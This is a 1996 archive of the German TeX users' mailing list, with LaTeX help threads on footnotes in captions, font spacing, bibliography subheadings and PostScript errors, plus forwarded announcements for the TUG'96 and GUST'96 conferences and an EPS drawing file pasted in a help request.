Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Mon, 12 Feb 1996 09:28:34 +0100 Subject: Re: Fussnoten in Floats Stefan, > ich stehe vor dem Problem, in der Unterschrift in einer Float-Umgebung > eine Fussnote unterzubringen. Der Versuch mit > > \caption{ ...\footnote{...} ...} > > fuehrt dazu, dass in der Bildunterschrift die Fussnotenmarkierung erzeugt > und der Fussnotenzaehler weitergesetzt wird; jedoch geht der eigentliche Text > der Fussnote verloren. Das ist natuerlich unschoen. Ich kann mir nun vorstellen, > dass es recht schwierig fuer TeX ist, bei einer Floatumgebung den Ort der Fuss- > note festzustellen, aber gibt es eventuell doch noch einbe Moeglichgkeit, TeX > und seinen Sohn, LaTeX, zu ueberreden, nicht so still und leise das Handtuch > zu werfen? Statt \footnote solltest Du \footnotemark und \footnotetext benutzen, siehe Lamport, Abschnitt C.3.3 Gruss, -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 == Weisst Du, UNIX ist fuer normale Menschen praktisch unbedienbar == F. Gers From owner-tex-d-l@VM.GMD.DE Mon Feb 12 09:50:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Roland Weibezahn Date: Mon, 12 Feb 1996 09:47:19 +0100 Subject: Re: Fussnoten in Floats > > ich stehe vor dem Problem, in der Unterschrift in einer Float-Umgebung > eine Fussnote unterzubringen. Der Versuch mit > > \caption{ ...\footnote{...} ...} > > fuehrt dazu, dass in der Bildunterschrift die Fussnotenmarkierung erzeugt > und der Fussnotenzaehler weitergesetzt wird; jedoch geht der eigentliche Text > der Fussnote verloren. Das ist natuerlich unschoen. Ich kann mir nun vorstellen, > dass es recht schwierig fuer TeX ist, bei einer Floatumgebung den Ort der Fuss- > note festzustellen, aber gibt es eventuell doch noch einbe Moeglichgkeit, TeX > und seinen Sohn, LaTeX, zu ueberreden, nicht so still und leise das Handtuch > zu werfen? > Das Handtuch wird auf jeden Fall nicht so still und leise geworfen, wenn man innerhalb des Arguments der \caption das Kommandor \footnotemark und den Fussnotentext ausserhalb der float-Umgebung mit \footnotetext{...} erzeugt. Ob das Handtuch dann allerdings dorthin faellt, wo man es eigentlich hinhaben will, ist die Frage --- das haengt dann davon ab, ob das float-Objekt tatsaechlich verschoben wird. Dann hilft nur a) ein nachtraegliches Verschieben des \footnotetext-Kommandos oder b) in der float-Umgebung (z.B. der figure-Umgebung) alles weitere in eine minipage-Umgebung einpacken (der "\footnotetext" bleibt dann innerhalb der minipage-Umgebung. Gruss, -- Roland Weibezahn ------------------------------------------------------------------ Dr. Roland Weibezahn Phone : +49-421-218-3532 LRW Bremen Telefax: +49-421-218-4112 c/o University Bremen Bibliothekstr. 1 Postbox: 330440 28359 Bremen 28334 Bremen Germany email: weibezahn@lrw.uni-bremen.de WWW: http://ftp.lrw.uni-bremen.de/xtem/xtem_texmenu.html (the xtem_TeXMenu project) From owner-tex-d-l@VM.GMD.DE Mon Feb 12 11:26:22 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 12 Feb 1996 11:25:44 +0100 Subject: Re: Feste Leerzeichen Anselm Lingnau verbesserte sich: : : Leo Arnt Broska schreibt: : : > Wenn ich \kern\fontdimen2\relax benutze, gibt mir TeX einen Fehler raus: : : Oh ja, sorry, es muss \kern\fontdimen2\the\font heissen. ....und noch besser ist, wenn man das \the einfach weglaesst, also: \kern\fontdimen2\font Das hat folgende Vorteile: 1) schneller, da \the\font zuerst auf \font zugreifen und dann zu dessen Wert expandieren muss, der dann nochmals bewertet werden muss, waehrend ein simples \font zwei der drei Schritte spart. 2) "unfragiler", da \the\font expandierbar ist, waehrend \font dies nicht ist; verwendet man also : Hier ist ein : Testdokument: : : \documentclass{article} : \newenvironment{fixedtilde}{\def~{\kern\fontdimen2\the\font}}{} [...] Anselms ~-Neudefinition in der Umgebung innerhalb eines `moving arguments' (von \section, \caption, ...) kann es sein, dass \the\font beim Rausschreiben auf das .aux-File zum falschen Fontidentifier expandiert und man im Inhalts-/Abb.-verzeichnis falsche Abstaende (da falscher Font) erhaelt. Der Effekt, den aktuell bei der Verwendung gueltigen Font "festzuhalten", ist manchmal erwuenscht, aber in diesem Falle wohl eher nicht, oder? TeX-Anfaenger (mich vor einigen Jahren eingeschlossen) verwenden auch gerne das Konstrukt \kern\the\fontdimen2\the\font bei dem man alles doppelt moppelt und bei dem die Punkte 1 und 2 gleich zweimal zutreffen (hier haelt man dann die Laenge \fontdimen2\font und nicht den Font "fest"). Gruesse, -bernd PS: Ist doch 'ne gute Gelegenheit, das obige nochmals im TeXbook nachzulesen und mit einigen Tests das eigene Verstaendnis noch ein bisschen aufzupolieren, gelle? :-) From owner-tex-d-l@VM.GMD.DE Mon Feb 12 11:37:26 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 12 Feb 1996 11:35:57 +0100 Subject: Re: Nochmal Zwischentitel in Literaturverzeichnissen Leo Arnt Broska schreibt: : Wie kann ich innerhalb eines Literaturverzeichnises Unter"Uberschriften setzen? : \subsection funktioniert nicht! kann es _innerhalb_ einer `list'-Umgebung auch nicht! : Bei meiner derzeitige Variante definier ich mir einen Pseudo-Section-befehl: : \newcommand{\bibsection}[1]{\item[]\subsection*{#1}} : Das ist aber auch nicht das Gelbe vom Ei, weil der Zwischentitel auf : Listen-Einzug einger"uckt wird. Nicht sehr sch"on. :-( : : Wei"s eine oder einer Rat? Ich habe mal als schnelle Loesung folgenden __Hack__ verwendet: \newcommand{\bibsection}[1]{% \par \vskip .75\baselineskip plus.25\baselineskip minus.25\baselineskip\relax \item[]\leavevmode\kern-\labelwidth\kern-\labelsep {\sl \ignorespaces #1\par}} man muesste aber noch ein bisschen mehr daran fummeln, damit die Ueberschrift nicht unten als letzte Zeile auf einer Seite landet. Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Mon Feb 12 18:42:55 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Mon, 12 Feb 1996 18:41:22 +0100 Subject: Re: Nochmal Zwischentitel in Literaturverzeichnissen Ich hatte gefragt: > : Wie kann ich innerhalb eines Literaturverzeichnises Unter"Uberschriften setzen? > : \subsection funktioniert nicht! Bernd Raichle dazu: > Ich habe mal als schnelle Loesung folgenden __Hack__ verwendet: > > \newcommand{\bibsection}[1]{% > \par > \vskip .75\baselineskip > plus.25\baselineskip minus.25\baselineskip\relax > \item[]\leavevmode\kern-\labelwidth\kern-\labelsep > {\sl \ignorespaces #1\par}} Mittlerweile habe ich eine "ahnliche l"osung gefunden, die den Vorteil hat, mit dem wirklichen \subsection-Befehl zu arbeiten (so da"s Ver"anderungen des "Uberschriften-Layouts sich auch gleich auf die Literatur-Subsections beziehen: \newcommand{\bibsection}[1]{% \item[]\subsection*{\makebox[0pt][r]{% \makebox[\leftmargin][l]{#1}}}} > [...] > man muesste aber noch ein bisschen mehr daran fummeln, damit die > Ueberschrift nicht unten als letzte Zeile auf einer Seite landet. Kann das mit meiner Version auch passieren? -- Ich glaube nicht, oder? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Mon Feb 12 23:22:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Mon, 12 Feb 1996 23:18:05 +0100 Subject: Re: Postscript Erkl"arung gesucht Johannes Heinecke (johannes@compling.hu-berlin.de) schrieb am 8.2.0100, 17:56:27 > Hallo, > > gibt es irgendwo im WWW eine Erl"auterung des Postscript Formats > (oder auch als .ps-File) > Ich bin dabei, mir auch das Postscript-Reference Manual zu besorgen. > Aber das dauert noch, und ich brauch's dringend. ein blick auf www.dante.de zeigt bei 'kommerzielle anbieter' einen link auf die adobe-homepage: http://www.adobe.com. dort wuerd ich mal suchen gehen... mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Mon Feb 12 23:35:20 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Mon, 12 Feb 1996 23:31:22 +0100 Subject: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 zur allgemeinen information... gruss -- luzia dietsche ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Wed, 7 Feb 1996 00:44:11 +0100 From: Michel Goossens Subject: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 ====================================================================== The 17th Annual TeX Users Group Meeting polyglot polytechnic polymath POLY-TeX polymath polytechnic polyglot July 28-- August 2, 1996 in JINR, Dubna, Russia Organized jointly by: TUG, CyrTUG, JINR CALL FOR PAPERS ====================================================================== Dear TeX Friends! So the time has arrived when TeX, the Polyglot, who has for many years happily ``spoken'' many different languages written in the Latin alphabet, extends its knowledge in the field of other alphabets. During the Summer of 1996, a visit is planned to Russia where TeX will have its first practical session in Cyrillic. Russia is that large country, with its enormous spaces, inhabited by those enigmatic Russians, who started the century with a Revolution, and ended it with ``Perestroyka''. A country who founded a brilliant mathematical school, colonized the Cosmos, and conquered the world with its literature, music, and ballet. So what awaits the TeX user who plans to attend TUG'96? At Moscow's international Sheremetevo-2 Airport, conference participants will be met by a member of the organizing committee and escorted by bus to Dubna, where from July 28 to August 2, the 17th TUG conference will take place (see below for more about Dubna). If, for some reason or another, you envision cold, the taiga, and white bears, then we can reassure you, Dubna is in the European part of Russia, and if you want to see the ice on the nordic oceans, you will have to travel further than you would to reach the subtropics of the Black Sea shore. Indeed, you will soon find that the pine forest in which the comfortable town of Dubna is situated will remind you of a park. In July and August, the weather is mostly warm and sunny, with an average temperature of 28 degrees Centigrade. Guests will be housed in a comfortable hotel on the banks of the Volga river in single or double rooms (hot water, shower, telephone, and television). The Russian ``cuisine'' is characterized by its abundance, so one can forget about slimming. The social program includes a picnic on the picturesque banks of the Volga, where we will be taken by boat, a bus excursion to Sergiev Posad (the center of the Russian Orthodox Church, where Andrey Slephkhin works--- see his article on page 373 of TUGboat 16#4 or the EuroTeX'95 proceedings page 331), and, on the last day a visit to Moscow, following which the participants can be dropped of at the airport to fly home, or at one of the railway stations, if they want to prolong their visit. The conference's preliminary program will be announced as soon as we receive from you, dear readers, proposals for presentations, courses that you would like to teach or attend, poster sessions, or any problem(s) or subject(s) that interest you. Please send your suggestions to the conference electronic address TUG96@pds.jinr.ru ================= The theme of the Conference is: PolyTeX, TeX or the art of multi-lingual, maths and technical typesetting. polyglot polytechnic polymath POLY-TeX polymath polytechnic polyglot =================== PROGRAM COMMITTEE =================== Evgeniy Vasilievitch Pankratiev Moscow, Russia Email: pankrat@shade.msu.ru Michel Goossens Geneva, Switzerland Email: goossens@cern.ch Mimi Burbank Florida, USA Email: mimi@scri.fsu.edu =========== DEADLINES =========== Submission of abstracts February 20 <<<<<<< Acceptance signified to authors February 29 <<<<<<< Preliminary articles March 31 <<<<<<< Proposals for workshops, demos, and poster sessions April 20 Registration and transfer of a non-refundable sum of $100 per person to a Dubna bank May 31 Visa supporting information June 5 Revised articles June 10 <<<<<<< Start of Conference July 28 ====================== ORGANIZING COMMITTEE ====================== Vladimir Vasilievitch Korenkov Dubna, Russia Email: korenkov@cv.jinr.ru Irina Anatolievna Makhovaya Moscow, Russia Email: irina@mir.msk.su Sebastian Rahtz Oxford, UK Email: s.rahtz@elsevier.co.uk ====================== PRACTICAL INFORMATION ======================= - ---------------- Conference costs - ---------------- The Conference Committee foresees a cost in the range 550--600 USD. This sum includes the complete cost of the conference, namely the registration fee, lodging (6 nights with six breakfasts, lunches, and dinners), coffee/tea breaks, social events, and transport from Sheremetevo Airport to Dubna. The payment should be made in the following way: a `non-refundable' sum of $100 per person should be transferred to a bank account (to be announced) before June 1st. After receipt of that sum an official invitation, necessary for obtaining a visa (see below), will be faxed to the participant. The rest will be payable in cash upon arrival at the Conference (no credit cards or cheques can be used in Dubna). %For participants of economically weaker countries or for students %we hope to arrange partial support via sponsors. We hope to arrange bursary funds for support of students and those participants who demonstrate need. - ----- Visas - ----- Most of the visitors from outside Russia will need a visa to attend the Conference. Therefore, for arranging a visa into Russia, participants should inform the Mrs. N. Dokalenko, Conference Secretariat E-mail nataly@ypr.jinr.dubna.su; Fax 7 095 975 2381 or 7 09621 65 891 of their and (possibly) the accompanying person(s)'s full name, date of birth, citizenship, passport number, arrival and departure dates. The Secretariat will forward by fax the visa support message to the participants with which they should apply for visas to the nearest Russian Embassy or Consulate. Please note that you should apply for a visa valid for Dubna, Moscow, and Sergiev Posad. (If you plan to visit other cities in Russia you should obtain the relevant documents and join them to the visa application, so that the names of all places to be visited can be entered on the visa form as required.) - -------------- Transportation - -------------- The Organizing Committee will arrange direct transportation by bus from the Sheremetevo-2 Airport to Dubna (130 km north of Moscow). The Secretariat should be informed of the flight number, precise date and time of arrival (Moscow time) `no later than' four working days before a participant wishes to be met at the airport. It is our intention to have each participant met by a member of Organizing Committee. Details will be available later. ==================== WELCOME TO DUBNA ! ==================== Dubna was founded in 1956 when the Convention establishing the Joint Institute for Nuclear Research was signed. The town is situated on the picturesque banks of the Volga river and the Moscow sea 120 km to the north of Moscow. One can reach Dubna from Moscow within 2 hours going by car, by bus or by express train. It will take you 1.5 hours to go to Dubna from the Sheremetevo-2 International Airport. Waterways connect Dubna not only to the Russian Volga cities, but also to the waters of the Black, the Caspian, the Baltic and the White seas. There is no harmful environmental impact from the industrial plants; this together with the large tracts of forest in the environs of Dubna, and the vast water area dotted with small islands, makes the area quite attractive for tourism and rest. The Volga embankment is one of the prettiest parts of the town. In springtime, the streets of Dubna are full of the odour of lilacs, the apple trees are pink-white; in summer, lime trees, maples, birch trees and poplars make the town seem totally green; in autumn the town is all golden excepting the evergreen of old pine trees. The town's modern look harmonizes with the quietness of the surrounding forest. The town was built in the midst of a forest. There are separate patches of trees in the town itself, and the town park is just a part of the forest. It takes just a few minutes to get to the forest from the shopping centre on foot. A few minutes' walk and you are outside the city limits! Small as it is, Dubna is a real metropolis. It is a scientific metropolis. It is a ``big little city'', as a visiting American scientist called it many years ago. Since the foundation of the Joint Institute for Nuclear Research (JINR), the name of Dubna has constantly been in the pages of the world's newspapers and journals. Dubna is one of the world centres for fundamental research in nuclear physics. The Joint Institute plays an important role as a coordinator of investigations of the scientists from 18 JINR member-state institutes. Wide international scientific and technical cooperation is one of the fundamental concepts of the JINR. Dubna is indeed a town of international friendship. Foreign speech can be heard everywhere. But the words, no matter in which language they are pronounced, are clear to everybody: friendly cooperation and fraternity unite all the physicists and mathematicians living and working in Dubna into an international scientific community. On October 3, 1994, Dubna opened its doors to its first university, ``International University of Dubna: Nature, Society and Man''. The university is composed of five "cathedra" or faculties, including socioeconomic sciences, ecology and earth science, computer education, linguistics, and health and physical education. Two more faculties--- law and government and technology--- are also being contemplated. The town has great experience in holding international conferences, and exchanges of delegations between countries in the sphere of science, education and culture. Dubna and La Crosse, Wisconsin, USA, are sister cities. Dubna is famous for its hospitality. Famous scientists, public figures and statesmen from different countries visit Dubna. They are always impressed by the gracious welcome they receive in Dubna and warm generosity which Dubna residents demonstrate. ======================= A FEW WORDS ON MOSCOW ======================= Moscow, the capital of Russia, has a population of some nine million people. It is a city rich in cultural, architectural and historical monuments, and, at the same time, boasts a rapidly developing modern urban community with brand new blocks of flats, long, straight and broad avenues, parks, gardens, stadiums, schools, cinemas, department stores, recreation centres, bridges and highways. Though forward-looking, it cherishes the memory of its past, and its old sections lend it a special charm. Michel Goossens / TUG President ------- end ------- From owner-tex-d-l@VM.GMD.DE Mon Feb 12 23:37:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Mon, 12 Feb 1996 23:33:28 +0100 Subject: ANNOUNCEMENT: GUST meeting in Bachotek nochmal etwas zur allgemeinen information. gruesse -- luzia dietsche ------- start of forwarded message (RFC 934 encapsulation) ------- Date: Mon, 12 Feb 1996 13:34:45 MET From: Tomek Przechlewski Subject: ANNOUNCEMENT: GUST meeting in Bachotek ******************************************************************** * * * GUST ANNUAL MEETING IN BACHOTEK * * ``THE WORLD AROUND TEX'' * * May 2--4, 1996, Bachotek (Brodnica Lake District, Poland) * * * ******************************************************************** The 4th annual meeting of the Polish TeX Users Group (GUST) will be held in Bachotek, Brodnica Lake District, May 2--4, 1996. We invite TeX users from all around the world to join us. The theme of the meeting is ``THE WORLD AROUND TEX''. This time we want to concentrate our attention on other aspects of Electronic Publishing and general typography issues. Besides the everlasting TeX--METAFONT--PostScript realm, we want to explore HTML, SGML, PDF, RTF, etc. THE CONFERENCE FEE (which includes accommodation and catering) is 90$. As usual the first day will be packed with tutorials (free) covering issues concerning TeX, METAFONT, PostScript and other aspects of Electronic Publishing. The participants are welcomed to arrive on Wednesday, May 1 (no extra costs). If you want to attend to the conference please fill in the form appended below. For more information about the meeting, please contact GUST secretary Jola Szelaty\'nska, Og\'olnouczelniany O\'srodek Obliczeniowy UMK, ul. Chopina 12/18, 87-100 Toru\'n, POLAND (email: mjsz@cc.uni.torun.pl). Paper submissions and proposals for tutorials please sent to the Programme Committee (gust@ifpan.edu.pl). ******************************************************************** ** Application form ** ******************************************************************** Yes, I want to come to the GUST'96 Annual Meeting! I have completed the form below. Full name __________________________________________________________ Association (if any)________________________________________________ Address _____________________________________________________________ _____________________________________________________________ _____________________________________________________________ email _________________________________ phone ___________________ Topic of report delivered (if any) __________________________________ _____________________________________________________________ ..................................................................... I have no special dietary needs ù È am a vegetarian ù È other dietary needs: ________________________________________________ I would like to share a room with ___________________________________ Date _________________ Signature ____________________ ..................................................................... Please sent before 7th April, 1996 to the Organizers: Jola Szelaty\'nska, Og\'olnouczelniany O\'srodek Obliczeniowy UMK, ul. Chopina 12/18, 87-100 Toru\'n, POLAND (or via email: mjsz@cc.uni.torun.pl). The payment should be made to: Bank Gda\'nski, II Oddzia\l{} w Gda\'nsku, Polska Grupa U\.zytkownik\'ow Systemu TeX GUST account number: 301905-405485-132 or in cash on arrival. ******************************************************************** ******************************************************************** - --Tomek Przechlewski, Boguslaw Jackowski (Programme Committee) ------- end ------- From owner-tex-d-l@VM.GMD.DE Thu Feb 15 22:14:24 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Walter Obermiller Date: Tue, 13 Feb 1996 07:46:17 +0100 Subject: Re: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 Liebe TeX-D-L: Die "gute" Organisation eines internationalen Meetings erkennt man z.B. daran: Heutiges Datum: 13 Februar 1996 > Date: Wed, 7 Feb 1996 00:44:11 +0100 ^^^^^^^^^^^^^^^^^^^^^^^^^ > From: Michel Goossens > Subject: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 [..... viel Werbe-Blabla .....] > Datelines > Submission of abstracts February 20 <<<<<<< ^^^^^^^^^^^^^^^^^^^^^ [.... viel text geloescht ] Uebersetzt bedeutet das fuer mich: Wir wollen eure Abstracts nicht, deshalb lassen wir euch auch NUR 7 Tage um einen zu schreiben. Ich hatte (vor langer Zeit) mal gedacht dasz die TUG ein Conference Planning Committee haette aber ich musz mich getaeuscht haben. gruss walter From owner-tex-d-l@VM.GMD.DE Wed Feb 14 15:53:58 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Wed, 14 Feb 1996 15:32:35 +0100 Subject: PS-Fonts und xdvi Moin, ich benutze den xdvi, sobald ich aber PS-Fonts einbinde schmei"st er das MakePK-Script an. DVIPS findet seine Fonts. Wie kann man dem XDVI PS-Fonts zug"anglich machen? Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Wed Feb 14 16:00:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Schirmacher Date: Wed, 14 Feb 1996 15:58:35 +0100 Subject: Re: PS-Fonts und xdvi : From: Henning Matthes : : Moin, Moin, Moin, : : ich benutze den xdvi, sobald ich aber PS-Fonts einbinde : schmei"st er das MakePK-Script an. Das sollte es nur beim ersten Benutzen des jeweiligen PS-Fonts tun, um beispielsweise aus den Ghostscript-Fonts PK-Files zu erzeugen. : DVIPS findet seine Fonts. dvips "`findet"' keine Fonts, dvips benutzt sie und geht davon aus, da± das Ausgabeger¢t sie (die PS-Standardschriften) kennt. : : Wie kann man dem XDVI PS-Fonts zug"anglich machen? Genau so, wie Du es offensichtlich tust, es klingt alles genau richtig. : : Gru"s Henning : Grð±e, Rolf -- ------------------------------------------------------------------------------ Dr. Rolf Schirmacher Tel. +49 551 39 7733 III. Physikalisches Institut Fax. +49 551 39 7720 Universit"at G"ottingen e-mail rolf@schirm.physik3.gwdg.de B"urgerstra"se 42 - 44 www http://www.physik3.gwdg.de/~rolf D - 37073 G"ottingen ------------------------------------------------------------------------------ From owner-tex-d-l@VM.GMD.DE Wed Feb 14 16:57:17 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Huth Date: Wed, 14 Feb 1996 16:56:25 +0100 Subject: querformat Werte TEXnikerschaft, ich habe eine Tabelle mit Ueberlaenge, so dass ich sie im Querformat in mein Dokument einbinden muss. Wie mach ich es ?? Vielen Dank im voraus ! Stefan ____________________________________________________________________________ Stefan Huth Tel. : 49 345 5525135 Fachbereich Pharmazie e-mail: p1qci@mlucom.urz.uni-halle.de Weinbergweg 15 06120 Halle (Saale) Germany ____________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Wed Feb 14 18:10:31 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 14 Feb 1996 18:09:50 +0100 Subject: Re: querformat : ich habe eine Tabelle mit Ueberlaenge, so dass ich sie : im Querformat in mein Dokument einbinden muss. : Wie mach ich es ?? Die deutsche TeX-FAQ lesen! Liegt z.B. unter http://www.dante.de/dante/dante-faq.html und wird regelmaessig in die Newsgroup de.comp.tex gepostet. Zur Frage: fuer LaTeX2e gibt's das `graphics'-Package, das z.B. den `lscape.sty' enthaelt oder die \rotatebox-Anweisung zum Drehen von Textteilen. Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Feb 14 18:54:53 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Heike Hering Date: Wed, 14 Feb 1996 18:56:53 +0100 Subject: Postscript-Fehlermeldung Liebe TEX-Kollegen, kennt sich von Euch zufaellig jemand gut aus mit Postscript? Ich moechte eine Datei einbinden in ein Latex-Dokument. Wenn, ich die Datei stand-alone ansehe fehlen mir die drei letzten tranlate-Befehle. Wenn ich sie mir nach Latex-Durchlauf ansehe, erhalte ich eine Fehlermeldung und kann damit nichts anfangen. Bin fuer Tips und Hilfe dankbar! Heike Hering --------------------------------------------------------------------- Dr. Heike Hering : Shipping Address: - ICEM Documentation - : ICEM Technologies : : ICEM Systems GmbH phone: +49 (511) 9848-700 : Kuesterstrasse 8 fax: +49 (511) 9848-810 : D-30519 Hannover email: heike_hering@icem.de : Germany --------------------------------------------------------------------- Die Fehlermeldung: -------------------- Aladdin Ghostscript: Unrecoverable error, exit code 1 Error: /rangecheck in --repeat-- Operand stack: -1 --nostringval-- Execution stack: %interp_exit --nostringval-- --nostringval-- --nostringval-- false --nostringval-- --nostringval-- --nostringval-- --nostringval-- Dictionary stack: --dict:595/631-- --dict:0/20-- --dict:118/200-- --dict:105/250-- --dict:44/200-- Current allocation mode is local Current file position is 47168 Die PostScript-Datei --------------------- %!PS-Adobe-2.0 EPSF-2.0 %%BoundingBox: 70 40 470 340 %%EndComments %%Title: sd1.ps 0.61 0.61 scale /Helvetica findfont 12 scalefont setfont 342 400 moveto (Bild rechts) show 265 320 moveto (Bild unten) show 250 400 moveto (Bild hinten) show 500 140 moveto (Spezielles Reflexionsbild) show 500 128 moveto ((Reflexion auf der Geometrie)) show 250 155 moveto (Fenster Hintergrundbild) show 485 340 moveto (Bild hinten + Fix in Ansicht) show 540 290 moveto (Diese beiden Darstellungen) show 540 278 moveto (lassen sich kombinieren) show 261.903 224.846 moveto (x) show 271.912 202.818 moveto (x) show 356.249 223.263 moveto (x) show 301.055 227.748 moveto (x) show 356.249 201.763 moveto (x) show 371.262 195.3 moveto (x) show 251.453 185.803 moveto (x) show 328.137 227.352 moveto (x) show 330.751 369.529 moveto 330.061 340.75 lineto 330.061 340.75 moveto 294.274 333.862 lineto 276.789 369.76 moveto 276.1 340.981 lineto 276.1 340.981 moveto 294.274 333.862 lineto 294.274 333.862 moveto 294.964 362.642 lineto 294.964 362.642 moveto 276.789 369.76 lineto 276.789 369.76 moveto 312.576 376.648 lineto 294.964 362.642 moveto 330.751 369.529 lineto 330.751 369.529 moveto 312.576 376.648 lineto 555.151 204.36 moveto 590.938 211.247 lineto 590.938 211.247 moveto 590.249 182.468 lineto 590.249 182.468 moveto 554.462 175.58 lineto 554.462 175.58 moveto 555.151 204.36 lineto 536.977 211.478 moveto 536.287 182.699 lineto 536.287 182.699 moveto 554.462 175.58 lineto 554.462 175.58 moveto 555.151 204.36 lineto 555.151 204.36 moveto 536.977 211.478 lineto 536.977 211.478 moveto 572.763 218.366 lineto 555.151 204.36 moveto 536.977 211.478 lineto 555.151 204.36 moveto 590.938 211.247 lineto 590.938 211.247 moveto 572.763 218.366 lineto 336.751 211.775 moveto 300.964 204.887 lineto 336.751 211.775 moveto 336.061 182.995 lineto 336.061 182.995 moveto 300.274 176.108 lineto 300.274 176.108 moveto 300.964 204.887 lineto 282.789 212.006 moveto 282.099 183.227 lineto 282.099 183.227 moveto 300.274 176.108 lineto 300.274 176.108 moveto 300.964 204.887 lineto 300.964 204.887 moveto 282.789 212.006 lineto 282.789 212.006 moveto 318.576 218.893 lineto 300.964 204.887 moveto 282.789 212.006 lineto 300.964 204.887 moveto 336.751 211.775 lineto 336.751 211.775 moveto 318.576 218.893 lineto 600.586 407.99 moveto 602.668 417.414 lineto 597.851 389.155 moveto 595.769 379.731 lineto 589.457 399.68 moveto 579.705 401.475 lineto 608.98 397.465 moveto 618.732 395.67 lineto 593.283 406.015 moveto 587.859 413.948 lineto 607.088 404.449 moveto 615.456 409.843 lineto 605.154 391.13 moveto 610.578 383.198 lineto 591.349 392.697 moveto 582.981 387.302 lineto 235.585 242.581 moveto 235.488 175.028 lineto 235.488 175.028 moveto 235.438 147.064 lineto 385.3 146.995 moveto 385.258 180.493 lineto 385.258 180.493 moveto 385.124 242.449 lineto 385.124 242.449 moveto 235.585 242.581 lineto 235.438 147.064 moveto 385.3 146.994 lineto 322.938 420.371 moveto 324.645 430.081 lineto 221.456 426.848 moveto 219.83 359. lineto 219.83 359. moveto 219.158 330.917 lineto 219.158 330.917 moveto 219.158 330.917 lineto 219.158 330.917 moveto 279.741 307.188 lineto 279.741 307.188 moveto 279.741 307.188 lineto 279.741 307.188 moveto 399.03 330.146 lineto 399.03 330.146 moveto 338.447 353.875 lineto 338.447 353.875 moveto 219.158 330.917 lineto 221.456 426.848 moveto 340.745 449.805 lineto 340.745 449.805 moveto 339.254 387.536 lineto 339.254 387.536 moveto 338.447 353.875 lineto 401.328 426.076 moveto 340.745 449.805 lineto 401.328 426.076 moveto 399.03 330.146 lineto 441.91 529.274 moveto 441.91 110.091 lineto 520 290 moveto 120 290 lineto 700 320 moveto 700 320 720 290 700 260 curveto gsave gsave gsave /triang{ newpath 0 0 moveto -15 -5 rlineto 0 10 rlineto closepath fill grestore } def 700 320 translate 5 -2 atan rotate triang 700 260 translate -5 -2 atan rotate triang grestore 140 280 moveto 140 280 150 280 215 245 curveto 140 245 moveto 140 245 150 260 215 280 curveto 481.139 358.767 moveto 481.236 426.32 lineto 481.139 358.767 moveto 481.089 330.803 lineto 630.951 330.733 moveto 630.909 364.232 lineto 630.909 364.232 moveto 630.775 426.188 lineto 630.775 426.188 moveto 481.236 426.32 lineto 481.089 330.803 moveto 630.95 330.733 lineto 318.959 391.473 moveto 320.665 401.183 lineto 314.02 410.373 moveto 306.249 410.655 lineto 329.583 411.181 moveto 337.354 410.898 lineto 317.103 417.275 moveto 312.815 424.341 lineto 328.108 417.846 moveto 334.809 424.513 lineto 326.501 404.278 